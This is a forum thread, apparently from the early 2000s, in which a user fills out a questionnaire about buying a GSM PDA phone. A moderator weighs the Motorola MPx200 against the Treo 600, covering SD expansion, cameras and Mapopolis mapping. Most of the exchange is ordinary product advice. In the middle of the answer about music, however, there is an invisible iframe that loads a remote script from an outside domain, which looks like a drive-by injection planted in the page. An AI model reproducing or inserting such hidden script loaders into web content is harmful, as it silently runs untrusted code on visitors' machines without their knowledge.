1. What PDA and/or mobile phone do I use today?
t68i

2. Are locked into a mobile carrier (i.e. Verizon Wireless, Sprint PCS, etc.), or do you prefer a particular carrier? Do you know if one carrier has better coverage in places that you need to be?
not locked in but only want gsm carrier, currently with AT&T

3. Where are you based? Do you stay in one place or travel a lot? Do you travel internationally... how much and where? Do you intend to use your pdaPhone there?
located in N. Cali Bay Area. Travel once or twice a year. Europe mainly. It'd be nice to use the phone there.

4. Do have a preference of Palm, Pocket PC, Symbian, etc.?
nope

5. Are you likely to run it the way it came out of the box, or do you intend to load a whole lot of extra applications and stuff on it? Do you know of anything now that you will need to run?
Won't customize it too much....but I don't want that to

6. How important is data, and what would you use data for (i.e. web, email, remote terminal, etc.)?
Web mainly, maybe an email or 2.

7. Do you do SMS messaging a lot?
nope...but maybe with a p900 or treo600 i would since it's a bit easier to create messages on them compared to the t68i.

8. Do you need a GPS for mapping and navigation?
Not necessarily GPS, but i definately enjoyed using Mapopolis on my Axim (even without GPS CF card) and would love to have the feature on my phone

9. What is your size preference.. very close to the smallest cellphone, or you don’t care.. function over size?
If it does what I want, then I'll figure out a way to carry it...as long as it's not as big as a Nokia 9series

10. How will you carry it... pocket, belt, purse, etc.?
Either shirt/coat pocket or in a bag

11. Do you prefer a particular form factor… flip-phone, candy bar, etc?
Nope.

12. Do you prefer a QWERTY keyboard, or are you cool with a stylus?
Stylus is cool, but the key is that the handwriting recognition is usable. PPC2003 on my Axim had decent recognition for a frame of reference

13. Do you want to play a lot of games? What kinds?
Nope, not many games.

14. Do you want to listen to music? What kind... mp3, streamed, etc.?
mp3's would be great, but not essential<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I would recommend you check out the Motorola MPx200 Microsoft Smartphone. It just became available with AT&T and is getting very good reports. If that has enough horsepower for you, and it sounds like it would from what you've said, it would be the way to go... great price, great usability.

If that doesn't do it, then you may want a little longer for the Windows Mobile 2003 Pocket PC Phones to hit the streets. So far, none are at that point yet, as they do lag the regular PDAs a bit.

Will you be getting rid of the Axim and phone and just having the one device? Do you think you'll need the full power and screen size of a Pocket PC? These are critical factors in the decision.

One other good thing about the MPx200 is that it is fairly easy to unlock and usable on any GSM provider (except that it may have some trouble with Cingular if in an area where they are using the odd band).

__________________
Mike - Been Converged?

but 2 things keep me from getting it.

1) No ability for sd expansion

2) no camera.

This is why I was leaning treo600. Can I run mapopolis on the MPx200? If so, I may have to reconsider how much I want a camera.

I will be using this phone as a replacement for a pda/phone combo as my Axim was stolen and my current phone (t68i) isn't doing it for me.

Sorry, I hadn't mentioned the tidbits about the camera and sd before.

Hi,

The MPx200 does have SD expansion, but only for memory.

It does not have a camera, true, but the camera on the Treo 600 isn't that great. I may have a defective camera on the Treo 600 that I have, its so bad! I just don't want you to think this is a replacement for a digital camera. You could never do anything of substance with pictures taken with this camera... but it may be handy for a quick snap to show someone what is going on in a pinch.

To my knowledge, there are no Smartphone solutions for GPS navigation capability.

The Treo 600 is pretty good, but the screen is a lot smaller than what you are used to with Pocket PC, and it doesn't do real multitasking. They have have been my biggest negatives on it since I've been using it.

__________________
Mike - Been Converged?

I should have done my homework better, I missed the SD slot on the MPx200 until I sent the post...so good call.

All these devices are so close to having it all but always fall short of a thing or 2.

The o2 XDA II seems pretty comprehensive, but unfortunately it isn't out quite yet.


decisions, decisions.